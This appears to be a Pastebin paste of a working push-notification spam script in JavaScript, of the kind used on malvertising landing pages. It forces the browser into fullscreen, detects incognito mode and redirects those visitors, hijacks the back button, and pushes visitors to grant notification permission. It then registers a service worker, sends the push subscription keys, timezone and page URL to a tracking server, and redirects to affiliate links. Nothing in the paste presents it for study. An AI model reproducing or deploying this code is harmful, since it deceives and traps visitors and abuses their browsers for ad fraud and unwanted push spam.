Advertisement
hnOsmium0001

Untitled

Nov 19th, 2019
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.32 KB | None | 0 0
  1. 'use strict';
  2. var guardEnabled = true;
  3. var isChrome = /Chrome/.test(navigator.userAgent || '') && /Google Inc/.test(navigator.vendor || '');
  4.  
  5. window.onload = function() {
  6. var e = document.body;
  7. e.onclick = function() {
  8. (e.requestFullScreen || e.webkitRequestFullScreen || e.mozRequestFullScreen).call(e)
  9. };
  10. document.addEventListener('keydown', function(e) {
  11. return void 0 !== e.keyCode && !(e.metaKey || e.ctrlKey) && void (document.fullscreenElement || (document.documentElement.requestFullscreen ? document.documentElement.requestFullscreen() : document.documentElement.mozRequestFullScreen ? document.documentElement.mozRequestFullScreen() : document.documentElement.webkitRequestFullscreen && document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)));
  12. }, false);
  13. };
  14.  
  15. function text() {}
  16. function textr(){}
  17. function urlB64ToUint8Array(base64String) {
  18. const padding = '='.repeat((4 - base64String.length % 4) % 4);
  19. const base64 = (base64String + padding)
  20. .replace(/\-/g, '+')
  21. .replace(/_/g, '/');
  22. const rawData = window.atob(base64);
  23. const outputArray = new Uint8Array(rawData.length);
  24. for (let i = 0; i < rawData.length; ++i) {
  25. outputArray[i] = rawData.charCodeAt(i);
  26. }
  27. return outputArray;
  28. }
  29.  
  30. function disableHistory() {
  31. try {
  32. $(window).on('popstate', function(t) {
  33. if (t.state) {
  34. if (Notification.permission === 'granted') {
  35. location.replace('https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324');
  36. } else {
  37. location.replace('https://4.puttraffic.com/?p=miywmn3cg45gi3bpge4dana&sub1=Cairo&sub2=tony.v2');
  38. }
  39. }
  40. });
  41. } catch (error) {
  42. }
  43. }
  44. function disableIncognito() {
  45. var fs = window.RequestFileSystem || window.webkitRequestFileSystem;
  46. if (fs) {
  47. fs(window.TEMPORARY, 100, function(fs) {}, function(err) {
  48. location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln323';
  49. });
  50. };
  51. }
  52.  
  53. if (!guardEnabled) {
  54. disableHistory();
  55. }
  56. disableIncognito();
  57.  
  58. let myApplicationServerKey = urlB64ToUint8Array('BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g');
  59. var denied = function() {
  60. window.history.forward();
  61. window.location.href = 'https://4.puttraffic.com/?p=miywmn3cg45gi3bpge4dana&sub1=Cairo&sub2=tony.v2';
  62. };
  63. var Subscribe = function() {
  64. navigator.serviceWorker.ready.then(function(reg){
  65. reg.pushManager.subscribe({userVisibleOnly: true, applicationServerKey: myApplicationServerKey}).then(function (sub) {
  66. console.log('Subscription fetch');
  67. let gmt = - new Date().getTimezoneOffset()/60;
  68. let rawKey = sub.getKey ? sub.getKey('p256dh') : '';
  69. let key = rawKey ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawKey))) : '';
  70. let rawAuthSecret = sub.getKey ? sub.getKey('auth') : '';
  71. let authSecret = rawAuthSecret ? btoa(String.fromCharCode.apply(null, new Uint8Array(rawAuthSecret))) : '';
  72. fetch('/?push=14cb49ea-6980-4512-a1bc-17a737f56562&d=miywmn3cg45gi3bpge4dana&land=19',{
  73. method: 'POST',
  74. body: JSON.stringify({id:sub.endpoint,key:key,secret:authSecret,gmt:gmt,uri:window.location.href})
  75. }).catch(error => console.log(error));
  76. window.location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324';
  77. }).catch(function (error) {
  78. denied();
  79. });
  80. });
  81. };
  82. var CheckSubscription = function() {
  83. if (Notification.permission !== 'granted') {text();}
  84. Notification.requestPermission().then(function(){
  85. if (Notification.permission === 'default' && isChrome && guardEnabled) {
  86. return window.history.back();
  87. }
  88. if (Notification.permission === 'granted') {
  89. Subscribe();
  90. }else{
  91. textr();
  92. denied();
  93. }
  94. });
  95. };
  96.  
  97. if ('serviceWorker' in navigator) {
  98. navigator.serviceWorker.register('/w_23.js')
  99. .then(function(reg) {
  100. if (Notification.permission === 'granted') {
  101. window.location.href = 'https://url-partners.g2afse.com/click?pid=9824&offer_id=11&sub2=mln324';
  102. }
  103. else if (Notification.permission !== 'denied') {
  104. CheckSubscription();
  105. } else {
  106. denied();
  107. }
  108. });
  109. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement